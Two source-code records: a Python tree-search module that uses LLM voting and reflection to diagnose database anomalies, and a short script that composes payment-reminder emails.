{"seq_id": "25869306788", "text": "from multiagents.reasoning_algorithms.tree_of_thought.Tree.Tree import my_tree, tree_node\nfrom copy import deepcopy\nfrom multiagents.reasoning_algorithms import base_search_method\nfrom prompt_templates.Tree_search_prompts import  MAKE_REFLECTION_RPOMPT,DIVERSITY_PROMPT,VOTE_BEST_SYSTEM_PROMPT,VOTE_BEST_USER_PROMPT,DEFAULT_POLICY_SYSTEM_PROMPT, DEFAULT_POLICY_USER_PROMPT\nfrom prompt_templates.Reflexion_prompts import MAKE_REFLEXION_USER_PROMPT\nfrom typing import List, NamedTuple, Optional, Union\nfrom termcolor import colored\nfrom string import Template\nfrom multiagents.utils.utils import AgentAction, AgentFinish\nfrom multiagents.memory import BaseMemory, ChatHistoryMemory\nimport numpy as np\nimport re\nimport json\nfrom pydantic import BaseModel, Field\nfrom pprint import pprint\nimport datetime\nimport time\nfrom tqdm import tqdm\n\ndef node_to_chain(node):\n    chain = {\n        \"prompt\": \"\",\n        \"query\": \"\",\n        \"chains\": [],\n        \"answer\": \"\",\n    }\n\n    step = {}\n    for i, message in enumerate(node.messages):\n        if message[\"role\"] == \"system\":\n            chain[\"prompt\"] = message[\"content\"]\n        elif message[\"role\"] == \"user\":\n            chain[\"query\"] += message[\"content\"]\n        elif message[\"role\"] == \"assistant\":\n            if \"function_call\" in message:\n                function_call = message[\"function_call\"]\n                if function_call[\"name\"] == \"Finish\":\n                    chain[\"answer\"] = function_call[\"arguments\"]\n                else:\n                    step[\"action\"] = function_call[\"name\"]\n                    step[\"action_input\"] = function_call[\"arguments\"]\n            else:\n                step[\"thought\"] = message[\"content\"]\n        elif message[\"role\"] == \"function\":\n            step[\"observation\"] = message[\"content\"]\n            chain[\"chains\"].append(step)\n            step = {}\n\n    return chain\n\nclass UCT_vote_function(base_search_method):\n    class Config:\n        arbitrary_types_allowed = True\n    memory: BaseMemory = Field\n\n    def __init__(self, diag_id, start_time, end_time, agent_name, role_description, prompt_template, llm,env, output_parser, alert_dict, alert_str, agent):\n        super(UCT_vote_function, self).__init__()\n        '''\n        偏序驱动的信心上限树算法:\n        1.由value决定回传什么节点\n        2.回传反思，同时做偏序 \n        '''\n        self.diag_id = diag_id\n        self.name = agent_name\n        self.role_description = role_description\n        self.prompt_template = prompt_template\n        self.llm = llm\n        self.env = env\n        self.output_parser = output_parser\n        # self.simulations = []\n        self.start_time = start_time\n        self.end_time = end_time\n        self.alert_dict = alert_dict\n        self.alert_str = alert_str\n\n        self.restart(agent)\n\n    # def to_json(self):\n    \n    #     js_obj = {\n    #         \"win\": self.status == 1,\n    #         \"simulation_count\": self.now_simulation_count,\n    #         \"simulations\": self.simulations,\n    #         \"tree\":self.tree.to_json_recursive()\n    #     }\n\n    #     js_obj[\"answer_generation\"] = {\n    #         \"valid_data\": False,\n    #         \"final_answer\": \"\",\n    #         \"chain\": [],\n    #     }\n\n    #     if len(self.terminal_node) > 0:\n    #         final_terminal_node = sorted(self.terminal_node, key=lambda x: sum(x.values)/(len(x.values)+1e-8), reverse=True)[0]\n    #         js_obj[\"answer_generation\"][\"valid_data\"] = True\n    #         js_obj[\"answer_generation\"][\"final_answer\"] = final_terminal_node.description\n    #         js_obj[\"answer_generation\"][\"chain\"] = final_terminal_node.get_chain_result_from_this_node()\n\n    #     return js_obj\n\n    def restart(self, agent): # 理论上用不到，清空所有的tree\n        self.tree = my_tree()\n        self.tree.root.node_type = \"Action Input\"\n        self.tree.root.env = deepcopy(self.env)\n\n        # prefix = DEFAULT_POLICY_SYSTEM_PROMPT\n        # prefix = prefix.replace(\"{task_description}\",self.env.task_description)\n        # self.tree.root.messages.append({\n        #     \"role\":\"system\",\n        #     \"content\": prefix,\n        # })\n\n        # prefix = DEFAULT_POLICY_USER_PROMPT\n        # prefix = prefix.replace(\"{input_description}\",self.env.input_description)\n\n        tool_observation = [self.tree.root.env.tool_memory.to_string()]\n        #prompt = agent._fill_prompt_template(self.tree.root.env.tool, self.tree.root.env.task_description, tool_observation, self.tree.root.messages)\n        prompt = agent._fill_prompt_template(self.tree.root.env.task_description, tool_observation)\n\n        now_time = datetime.datetime.now()\n        now_time = now_time.strftime(\"%H:%M:%S\")\n\n        self.tree.root.messages.append({\n            \"role\":\"user\",\n            \"content\": prompt,\n            \"time\": str(now_time)\n        })\n\n        self.status = 0\n        self.now_simulation_count = 0\n        # self.simulations = []\n        self.terminal_node = []\n        self.total_vote = 0\n        self.good_vote = 0\n\n        pass\n\n    def start(self,\n              simulation_count, # chain的个数\n              epsilon_new_node, # 开新节点的value\n              choice_count, # vote随机次数\n              vote_candidates, # vote叶节点个数\n              vote_count, # 投票次数\n              single_chain_max_step):\n        \n        '''\n        epsilon_new_node:以多大概率扩展新节点\n        vote_candidates：每次投票时选择多少candidate\n        vote_count：每次投票时投多少票\n        '''\n\n        top_abnormal_metric_values = []\n\n        while self.now_simulation_count < simulation_count:\n            \n            '''\n            执行一次模拟，从根节点出发\n            '''\n            this_simulation = []\n            now_node = self.tree.root\n            while len(now_node.children) > 0:\n                '''\n                有儿子节点，在每个地方都决定是去扩展新节点还是选择已有节点\n                '''\n                # decision = self.make_decision(now_node)\n                decision = self.make_decision_by_value(now_node, epsilon_new_node)\n                \n                if decision == -1:\n                    print(colored(\"decide to make new node!\",\"green\"))\n                    break\n                # print(colored(f\"decide to go down child {decision}\",\"green\"))\n\n                now_node = now_node.children[decision]\n                this_simulation.append({\"choice\":decision,\"new_generated\":False,\"score\":now_node.env.get_score()})\n                \n                while now_node.node_type != \"Action Input\" and len(now_node.children) > 0:\n                    now_node = now_node.children[0]\n                    this_simulation.append({\"choice\":0,\"new_generated\":False,\"score\":now_node.env.get_score()})\n                \n            if now_node.is_terminal:\n                # print(colored(f\"randomly go down to terminal nodes\",\"green\"))\n                pass\n            else:\n                begin_default_policy_node = now_node\n\n                end_node, top_abnormal_metric_values = self.default_policy(now_node,this_simulation,single_chain_max_step)\n                # self.pruned self.env.check_success() \n\n                self.now_simulation_count += 1\n                # self.simulations.append(this_simulation)\n\n                if end_node.pruned is not True: # the node is not pruned\n                    self.terminal_node.append(end_node)\n\n                if end_node.env.status == 1:\n                    self.status = 1\n                    # self.llm.display_conversation()\n                    # return 1\n\n                '''\n                生成反思，并且回传\n                '''\n                self.make_reflection(begin_default_policy_node,end_node)\n\n            '''\n            针对candidate投票\n            '''\n            self.vote(choice_count,vote_candidates,vote_count)\n\n        if self.terminal_node == []:\n            # print(colored(\"No terminal node found!\",\"red\"))\n\n            return None, top_abnormal_metric_values\n            \n        else:\n            final_terminal_node = sorted(self.terminal_node, key=lambda x: sum(x.values), reverse=True)[0]\n            \n            if final_terminal_node.pruned is True:\n                # print(colored(\"Final answer is pruned!\",\"red\"))\n                return None, top_abnormal_metric_values\n\n            return final_terminal_node, top_abnormal_metric_values\n\n    def vote(self,choice_count,vote_candidates,vote_count):\n        '''\n        进行投票\n        每次选vote_candidates个样本\n        投出vote_count票\n        '''\n        # if len(self.terminal_node) < vote_candidates:\n        #     return\n\n        for choice_count in range(choice_count):\n            ordered = list(range(len(self.terminal_node)))\n            np.random.shuffle(ordered)\n\n            choices = ordered[:vote_candidates] #随机选择，然后从小到大排序\n            choices.sort()\n            messages = []\n            prompt = VOTE_BEST_SYSTEM_PROMPT\n            prompt = prompt.replace(\"{task_description}\",self.env.task_description)\n\n            now_time = datetime.datetime.now()\n            now_time = now_time.strftime(\"%H:%M:%S\")\n\n            messages.append({\n                \"role\":\"system\",\n                \"content\": prompt,\n                \"time\": str(now_time)                \n            })\n\n            prompt = VOTE_BEST_USER_PROMPT\n            prompt = prompt.replace(\"{input_description}\",self.env.input_description)\n\n            candidates_description = \"\"\n            for k, child_id in enumerate(choices):\n                trice = self.tree.get_former_trice(self.tree.root,self.terminal_node[child_id],valid_types=[\"Action\",\"Action Input\",\"Observation\"])\n                candidates_description += f\"\\n{trice}\"\n                # reflection = f\"Reflection: {self.terminal_node[child_id].generated_reflection.strip()}\\n\"\n                # candidates_description += reflection\n                candidates_description += \"*\"*30 + \"\\n\"\n            prompt = prompt.replace(\"{candidate_description}\",candidates_description)\n\n            now_time = datetime.datetime.now()\n            now_time = now_time.strftime(\"%H:%M:%S\")\n\n            messages.append({\n                \"role\":\"user\",\n                \"content\": prompt,\n                \"time\": str(now_time)                \n            })\n\n            real_score = [-1]*len(choices)\n            max_score = self.tree.root.env.get_score()\n            max_position = -1\n            for k, child_id in enumerate(choices):\n                now_node = self.terminal_node[child_id]\n                while now_node != None:\n                    real_score[k] = max(now_node.env.get_score(),real_score[k])\n                    now_node = now_node.father\n                if real_score[k] > max_score:\n                    max_position = k\n                    max_score = real_score[k]\n\n            votes = [0]*len(choices)\n            vaild_votes = 0\n            for i in range(vote_count):\n                '''\n                多次投票\n                '''\n                self.llm.change_messages(\"\", messages)\n\n                print(colored(f\"- Voting ...\",\"grey\"))\n                with tqdm(total=1, bar_format='{l_bar}{bar}| {n_fmt}/{total_fmt}') as pbar:\n                    message = self.llm.parse()\n                    pbar.update(1)\n\n                vote = message[\"content\"]\n                # print(vote)\n                best_candiate_line = vote.split(\"\\n\")[-1]\n                # print(best_candiate_line)\n                re_pattern = r\"\\\"?candidate[ \\_](\\d+)\\\"?\"\n                re_result = re.findall(re_pattern,best_candiate_line.lower())\n                if re_result != []:\n                    if not len(re_result) == 1:\n                        # print(best_candiate_line)\n                        # exit()\n                        return\n                    vote_to = int(re_result[0])\n                    self.total_vote += 1\n                    if vote_to >= 0 and vote_to < len(votes):\n                        votes[vote_to] += 1\n                        self.good_vote += (vote_to == max_position)\n                        vaild_votes += 1\n                        # print(colored(f\"valid vote to {choices[vote_to]}\",\"yellow\"))\n                    else:\n                        self.good_vote += (-1 == max_position)\n                        # print(colored(f\"vote to Invalid candidates, both candidate punished\",\"yellow\"))\n                else:\n                    self.good_vote += (-1 == max_position)\n                    # print(colored(f\"vote to Nothing, both candidate punished\",\"yellow\"))\n                    for k,child_id in enumerate(choices):\n                        now_node = self.terminal_node[child_id]\n                        while now_node != None:\n                            now_node.pruned = True\n                            now_node = now_node.father\n\n            if vaild_votes > 0:\n                for k,child_id in enumerate(choices):\n                    vote_count_this_turn = votes[k]\n                    value = (vote_count_this_turn / vaild_votes  - 1 / vote_candidates) / np.sqrt(vaild_votes)\n                    # print(value)\n                    now_node = self.terminal_node[child_id]\n                    while now_node != None:\n                        now_node.values.append(value)\n                        now_node.vote_counts.append(vote_count_this_turn)\n                        now_node = now_node.father  \n        \n        if self.total_vote > 0:\n            # print(f\"ratio={self.good_vote}/{self.total_vote}={self.good_vote/self.total_vote}\")\n            pass\n\n    def make_decision_by_value(self, now_node, epsilon_new_node):\n        '''\n        epsilon_new_node概率选择新节点\n        否则选择当前value最高的\n        '''\n        # assert len(now_node.children) > 0\n        # if np.random.random() < epsilon_new_node / len(now_node.children):\n        #     return -1\n\n\n        weights = [child.compute_weight() for child in now_node.children] + [epsilon_new_node]\n        def my_softmax(x):\n            exp_x = np.exp(x)\n            return exp_x/np.sum(exp_x)\n        \n        weights = my_softmax(np.array(weights))\n        # print(weights)\n        result = np.random.multinomial(1,weights)\n        for k, v in enumerate(result[:-1]):\n            if v == 1:\n                return k\n        return -1\n\n    def make_reflection(self,start_node,end_node):\n        '''\n        从start_node开始生成了新儿子，一路走到了end_node,对于过去的自己start_node有没有什么想说的\n        '''\n        make_reflection_prompt = MAKE_REFLEXION_USER_PROMPT\n\n        now_time = datetime.datetime.now()\n        now_time = now_time.strftime(\"%H:%M:%S\")\n\n        new_message = {\n            \"role\": \"user\",\n            \"content\":make_reflection_prompt,\n            \"time\": str(now_time)\n        }\n\n        message_list = end_node.messages.copy()\n        message_list.append(new_message)\n\n        self.llm.change_messages(self.role_description, message_list)\n\n        print(colored(f\"- Reflecting ...\",\"grey\"))\n        with tqdm(total=1, bar_format='{l_bar}{bar}| {n_fmt}/{total_fmt}') as pbar:\n            new_message = self.llm.parse()\n            pbar.update(1)\n\n        reflection = new_message['content']\n        print(colored(f\"Reflexion: {reflection}\",\"green\"))\n\n        now_time = datetime.datetime.now()\n        now_time = now_time.strftime(\"%H:%M:%S\")\n\n        reflect_message = {\n            \"role\": \"assistant\",\n            \"content\": reflection,\n            \"time\": str(now_time)\n        }\n        start_node.reflection.append(reflection)\n        start_node.messages.append(reflect_message)\n        if start_node != self.tree.root:\n            self.tree.root.reflection.append(reflection)\n            self.tree.root.messages.append(reflect_message)\n\n        return reflection\n\n    def default_policy(self,now_node,this_simulation,single_chain_max_step):\n        assert not now_node.is_terminal\n        assert now_node.messages != []\n        # self.pruned self.env.check_success()\n        first_time = True\n\n        top_abnormal_metric_values = []\n        \n        while now_node.get_depth() < single_chain_max_step and not now_node.is_terminal and not now_node.env.status:\n            if first_time:\n                '''\n                第一次要拼接diversity prompt\n                '''\n                if len(now_node.children) > 0:\n                    diverse_prompt = DIVERSITY_PROMPT\n                    former_candidates_des = \"\"\n                    js_list = []\n                    for k, child in enumerate(now_node.children):\n                        temp_node = child\n                        while not temp_node.is_terminal and temp_node.node_type != \"Action Input\" and len(temp_node.children) > 0:\n                            temp_node = temp_node.children[0]\n                        # child_des = self.get_former_trice(child,temp_node)\n                        # former_candidates_des = former_candidates_des + f\"\\n{child_des}\"\n                        if temp_node.node_type == \"Action Input\":\n                            # import pdb; pdb.set_trace()\n\n                            # if temp_node.description is str:\n                            if isinstance(temp_node.description, str):\n                                try:\n                                    temp_node.description = json.loads(temp_node.description)\n                                    obj_dict = {\n                                        \"name\": temp_node.father.description,\n                                        \"arguments\": temp_node.description,\n                                        \"function_output\": temp_node.observation,\n                                        \"mento-carlo-action-value\": temp_node.compute_weight(),\n                                    }\n                                    js_list.append(obj_dict)\n                                except:\n                                    pass\n                    \n                    if len(js_list) > 0:\n                        former_candidates_des = former_candidates_des + f\"{json.dumps(js_list,indent=2)}\\n\"\n                        if now_node.observation != \"\":\n                            former_candidates_des = former_candidates_des + f\"again, your former observation: {now_node.observation}\\n\"\n                        diverse_prompt = diverse_prompt.replace(\"{previous_candidate}\",former_candidates_des)\n                        # record current time in hour-minutes-seconds\n\n                        now_time = datetime.datetime.now()\n                        now_time = now_time.strftime(\"%H:%M:%S\")\n\n                        now_node.messages.append({\"role\":\"user\", \"content\":diverse_prompt, \"time\": str(now_time)})\n\n                        self.llm.change_messages(self.role_description, now_node.messages)\n                        # self.llm.display_conversation()\n            \n            self.llm.change_messages(self.role_description, now_node.messages)\n            # self.llm.display_conversation()\n\n            print(colored(f\"- Analyzing with tools ...\",\"grey\"))\n            with tqdm(total=1, bar_format='{l_bar}{bar}| {n_fmt}/{total_fmt}') as pbar:\n                new_message = self.llm.parse()\n                pbar.update(1)\n\n            # print(f\"New message:\\t{new_message['content']}\")\n            assert new_message[\"role\"] == \"assistant\"\n            if new_message not in now_node.messages:\n                now_node.messages.append(new_message)\n            \n            if first_time:\n                first_time = False\n                '''\n                如果拼接了diversity prompt，要去掉\n                '''\n                try:\n                    if \"This is not the first time you try this task\" in now_node.messages[-1][\"content\"]:\n                        now_node.messages = now_node.messages[:-1]\n                except BaseException as e:\n                    # print(e)\n                    pass\n            \n            if \"content\" in new_message.keys() and new_message[\"content\"] != None:\n\n                for _ in range(3):\n                    parsed_response = self.output_parser.parse(new_message)\n                    \n                    if parsed_response != None:\n                        break\n\n                    print(colored(f\"- Analyzing with tools ...\",\"grey\"))\n                    with tqdm(total=1, bar_format='{l_bar}{bar}| {n_fmt}/{total_fmt}') as pbar:\n                        new_message = self.llm.parse()\n                        pbar.update(1)\n\n                    time.sleep(0.5)\n\n                # action --> temp_node\n                temp_node = tree_node()\n                temp_node.node_type = \"Thought\"\n                temp_node.description = new_message[\"content\"]\n                \n                child_env = deepcopy(now_node.env)\n                \n                temp_node.env = child_env\n                temp_node.is_terminal = False\n                temp_node.messages = now_node.messages.copy()\n                # temp_node.messages.append(new_message)\n                temp_node.father = now_node\n                now_node.children.append(temp_node)\n                # temp_node.print()\n                now_node = temp_node\n                this_simulation.append({\"choice\":0,\"new_generated\":True,\"score\":now_node.env.get_score()})\n\n                if isinstance(parsed_response, AgentAction):\n                    # If the response is an action, call the tool\n                    # and append the observation to tool_observation\n                    parameters = []                    \n                    if \"whether_is_abnormal_metric\" in parsed_response.tool:\n\n                        metric_name = self.name.lower()\n                        metric_name = metric_name.replace(\"expert\",\"\") + \"_\" + \"usage\"\n\n                        parameters = {\"start_time\": self.start_time,      \n                                    \"end_time\": self.end_time,\n                                    \"metric_name\": metric_name}\n                    elif \"match_diagnose_knowledge\" in parsed_response.tool and self.alert_dict != None:\n                        # node_load1{instance=\"$instance\"}\n                        for alert in self.alert_dict:\n                            metric_name = alert[\"alert_desc\"].split('[')[0]\n                            host = alert[\"alert_exporter\"]\n                            alert_metric = f\"{metric_name}{{instance=\\\"{host}\\\"}}\"\n\n                            metric_name = self.name.lower()\n                            metric_name = metric_name.replace(\"expert\",\"\") + \"_\" + \"usage\"\n\n                            parameters.append({\"start_time\": self.start_time, \"end_time\": self.end_time, \"metric_name\": metric_name, \"alert_metric\": alert_metric, \"diag_id\": self.diag_id})\n                    else:\n                        # import pdb; pdb.set_trace()\n                        try:\n                            parameters = json.loads(parsed_response.tool_input)\n                        except:\n                            parameters = None\n\n                    observation = None\n                    if \"obtain_start_and_end_time_of_anomaly\" in parsed_response.tool and self.alert_dict != [] and self.alert_dict != None:\n                        observation = f\"The start time is {self.start_time}, and the end time is {self.end_time}.\"\n                    else:\n                        if isinstance(parameters, list):\n                            observation = []\n                            for parameter in parameters:\n                                result = temp_node.env.tool.call_function(parsed_response.tool, **parameter)\n                                if isinstance(result, (tuple, list)):\n                                    observation.append(result[0])\n                                    top_abnormal_metric_values = result[1]\n                                else:\n                                    observation.append(result)\n                                                        \n                        elif parameters == None:\n                            pass\n                        else:\n                            # observation = temp_node.env.tool.call_function(parsed_response.tool, **parameters)\n                            result = temp_node.env.tool.call_function(parsed_response.tool, **parameters)\n\n                            if isinstance(result, (tuple, list)):\n                                observation = result[0]\n                                top_abnormal_metric_values = result[1]\n                            else:\n                                observation = result\n\n                    # tool_observation.append(\n                    #     parsed_response.log.strip()\n                    #     + f\"\\nObservation: {str(observation).strip()}\"\n                    # )\n                    if observation == None:\n                        # 0代表正常返回\n                        # 1代表没有对应api名字\n                        # 2代表输入有错误\n                        # 3代表生成结束，出现final answer\n                        # 4代表模型自己决定剪枝\n                        now_node.pruned = True\n                        # now_node.messages.append(new_message)\n                        return now_node, top_abnormal_metric_values\n\n                    # new the Action node\n                    temp_node = tree_node()\n                    temp_node.node_type = \"Action\"\n                    temp_node.description = parsed_response.tool # check\n                    child_env = deepcopy(now_node.env)\n                    \n                    temp_node.env = child_env\n                    temp_node.is_terminal = False\n                    temp_node.messages = now_node.messages.copy()\n                    temp_node.father = now_node\n                    now_node.children.append(temp_node) # the action node is child of the thought node\n\n                    # temp_node.print()\n                    now_node = temp_node\n                    this_simulation.append({\"choice\":0,\"new_generated\":True,\"score\":now_node.env.get_score()})\n\n                    # new the Action Input and Observation node\n                    function_input = parameters\n                    temp_node = tree_node()\n                    temp_node.node_type = \"Action Input\"\n                    temp_node.description = function_input\n                    child_env = deepcopy(now_node.env)\n                    \n                    # observation, status = child_env.step(action_name=now_node.description, action_input=function_input)\n                    temp_node.observation = observation\n                    temp_node.env = child_env\n                    temp_node.is_terminal = False\n                    temp_node.messages = now_node.messages.copy()\n\n                    now_time = datetime.datetime.now()\n                    now_time = now_time.strftime(\"%H:%M:%S\")\n                    temp_message = {\"role\": \"function\", \"content\": f'{observation}', \"time\": str(now_time)}\n                    if temp_message not in temp_node.messages:\n                        temp_node.messages.append(temp_message)\n                    \n                    temp_node.father = now_node\n                    now_node.children.append(temp_node)\n                    now_node = temp_node\n                    this_simulation.append({\"choice\":0,\"new_generated\":True,\"score\":now_node.env.get_score()})\n                else:\n                    pass\n\n            # if now_node.node_type == \"Action Input\":\n\n            #     now_time = datetime.datetime.now()\n            #     now_time = now_time.strftime(\"%H:%M:%S\")\n\n            #     now_node.messages.append({\n            #         \"role\":\"function\",\n            #         \"name\": parsed_response.tool,\n            #         \"content\": str(now_node.observation),\n            #         \"time\": str(now_time)\n            #     })\n            # else:\n            #     now_node.messages.append(new_message)\n            \n            now_node.is_terminal = now_node.env.check_success(now_node.messages[-1])\n\n            # evaluate whether optimization solutions are proposed in the now_node (terminal status)\n        \n        return now_node, top_abnormal_metric_values\n\n    # def _fill_prompt_template(\n    #     self, node_tools, env_description: str = \"\", tool_observation: List[str] = [], messages: List[dict] = []\n    # ) -> str:\n        \n    #     \"\"\"Fill the placeholders in the prompt template\n\n    #     In the tool agent, these placeholders are supported:\n    #     - ${agent_name}: the name of the agent\n    #     - ${env_description}: the description of the environment\n    #     - ${role_description}: the description of the role of the agent\n    #     - ${chat_history}: the chat history of the agent\n    #     - ${tools}: the list of tools and their usage\n    #     - ${tool_names}: the list of tool names\n    #     - ${tool_observations}: the observation of the tool in this turn\n    #     \"\"\"\n    #     #retriever = api_retriever()\n        \n    #     #relevant_tools = retriever.query(Template(self.prompt_template).safe_substitute({\"chat_history\": self.memory.to_string(add_sender_prefix=True)}), self.tools)\n\n    #     tools = \"\\n\".join([f\"> {api}: {node_tools.functions[api]['desc']}\" for api in node_tools.functions])\n    #     tools = tools.replace(\"{{\", \"{\").replace(\"}}\", \"}\")\n    #     tool_names = \", \".join([api for api in node_tools.functions])\n        \n    #     if self.start_time != \"\":\n    #         input_arguments = {\n    #             \"start_time\": self.start_time,\n    #             \"end_time\": self.end_time,\n    #             \"agent_name\": self.name,\n    #             \"env_description\": env_description,                                 \n    #             #\"role_description\": self.role_description,\n    #             \"chat_history\": self.memory.to_string(add_sender_prefix=True),\n    #             \"tools\": tools,\n    #             \"tool_names\": tool_names,\n    #             \"tool_observation\": \"\\n\".join(tool_observation),\n    #         }\n    #     else:\n    #         input_arguments = {\n    #             \"agent_name\": self.name,\n    #             \"env_description\": env_description,                                 \n    #             #\"role_description\": self.role_description,\n    #             \"chat_history\": self.memory.to_string(add_sender_prefix=True),\n    #             \"tools\": tools,\n    #             \"tool_names\": tool_names,\n    #             \"tool_observation\": \"\\n\".join(tool_observation),\n    #         }\n\n    #     import pdb; pdb.set_trace()\n\n    #     return Template(self.prompt_template).safe_substitute(input_arguments)", "repo_name": "TsinghuaDatabaseGroup/lmdb", "sub_path": "multiagents/reasoning_algorithms/tree_of_thought/UCT_vote_function.py", "file_name": "UCT_vote_function.py", "file_ext": "py", "file_size_in_byte": 30745, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "multiagents.reasoning_algorithms.base_search_method", "line_number": 51, "usage_type": "name"}, {"api_name": "multiagents.memory.BaseMemory", "line_number": 54, "usage_type": "name"}, {"api_name": "pydantic.Field", "line_number": 54, "usage_type": "name"}, {"api_name": "multiagents.reasoning_algorithms.tree_of_thought.Tree.Tree.my_tree", "line_number": 102, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 104, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 120, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 120, "usage_type": "attribute"}, {"api_name": "termcolor.colored", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 235, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 235, "usage_type": "attribute"}, {"api_name": "prompt_templates.Tree_search_prompts.VOTE_BEST_SYSTEM_PROMPT", "line_number": 240, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 243, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 243, "usage_type": "attribute"}, {"api_name": "prompt_templates.Tree_search_prompts.VOTE_BEST_USER_PROMPT", "line_number": 252, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 264, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 264, "usage_type": "attribute"}, {"api_name": "termcolor.colored", "line_number": 293, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 294, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 303, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 331, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 355, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 356, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 358, "usage_type": "call"}, {"api_name": "numpy.random.multinomial", "line_number": 360, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 360, "usage_type": "attribute"}, {"api_name": "prompt_templates.Reflexion_prompts.MAKE_REFLEXION_USER_PROMPT", "line_number": 370, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 372, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 372, "usage_type": "attribute"}, {"api_name": "termcolor.colored", "line_number": 386, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 387, "usage_type": "call"}, {"api_name": "termcolor.colored", "line_number": 392, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 394, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 394, "usage_type": "attribute"}, {"api_name": "prompt_templates.Tree_search_prompts.DIVERSITY_PROMPT", "line_number": 424, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 439, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 451, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 457, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 457, "usage_type": "attribute"}, {"api_name": "termcolor.colored", "line_number": 468, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 469, "usage_type": "call"}, {"api_name": "termcolor.colored", "line_number": 498, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 499, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 503, "usage_type": "call"}, {"api_name": "multiagents.reasoning_algorithms.tree_of_thought.Tree.Tree.tree_node", "line_number": 506, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 510, "usage_type": "call"}, {"api_name": "multiagents.utils.utils.AgentAction", "line_number": 522, "usage_type": "argument"}, {"api_name": "json.loads", "line_number": 548, "usage_type": "call"}, {"api_name": "multiagents.reasoning_algorithms.tree_of_thought.Tree.Tree.tree_node", "line_number": 593, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 596, "usage_type": "call"}, {"api_name": "multiagents.reasoning_algorithms.tree_of_thought.Tree.Tree.tree_node", "line_number": 610, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 613, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 621, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 621, "usage_type": "attribute"}]}
{"seq_id": "33259099936", "text": "from email.message import EmailMessage\n\nimport config\nimport validate_address\n# ______________________________________________________________________________\n# set mail server data\n\n\ndef BuildTable(info):\n    '''\n    Uses the information of a person to construct a table containing the\n    payments the person has to do and the reason why they have to pay that.\n\n    param info: information to a person\n    return t: str table with the due pay ments\n    '''\n    t = '\\n| Betrag  | Verwendungszweck'\n    t += '\\n----------------------------------------------------\\n'\n    i = 3\n    while i < len(info)-1:\n        value = str(info[i+1])\n        if value == 'nan':\n            value = 0\n        elif float(value) == 0:\n            value = 0\n        else:\n            t += '| {:6.2f}€ | {}\\n'.format(float(value), info[i])\n        i += 2\n    return t+'\\n'\n\n\ndef BildMail(info):\n    '''Gets information of a specific person and builds the e-mail for this\n    person. This then is put in a EmailMessage() which is defined in the\n    package email.message. This contains all necessary propatys of the e-mail.\n\n    param info: list of information to one person\n    param ConfigFile: filename where the text that is ont changed is stored\n    return message: final configured e-mail\n    '''\n    receiver = [info[2]]\n    receiverName = info[1]  # only first name ist used\n    # Seting up mail\n    message = EmailMessage()\n    message[\"From\"] = config.settings['address']\n    message[\"To\"] = receiver\n\n    if info[0] == -1:\n        static = open(config.settings['static_mail_err']).read()\n        static = static.split('#Cut\\n')\n        message[\"Subject\"] = static[0]\n        content = static[1] + ' unknown' + static[2] + '' + static[3]\n\n    else:\n        # Getting configured Text\n        static = open(config.settings['static_mail']).read()\n        static = static.split('#Cut\\n')\n        message[\"Subject\"] = static[0]\n        # gets table for mail\n        table = BuildTable(info)\n        # puts together all parts of the content\n        content = static[1] + receiverName + static[2] + table + static[3]\n\n    message.set_content(content, \"utf-8\")\n    return message\n", "repo_name": "lukasg96/payment_notifier", "sub_path": "configure_massage.py", "file_name": "configure_massage.py", "file_ext": "py", "file_size_in_byte": 2163, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "email.message.EmailMessage", "line_number": 44, "usage_type": "call"}, {"api_name": "config.settings", "line_number": 45, "usage_type": "attribute"}, {"api_name": "config.settings", "line_number": 49, "usage_type": "attribute"}, {"api_name": "config.settings", "line_number": 56, "usage_type": "attribute"}]}
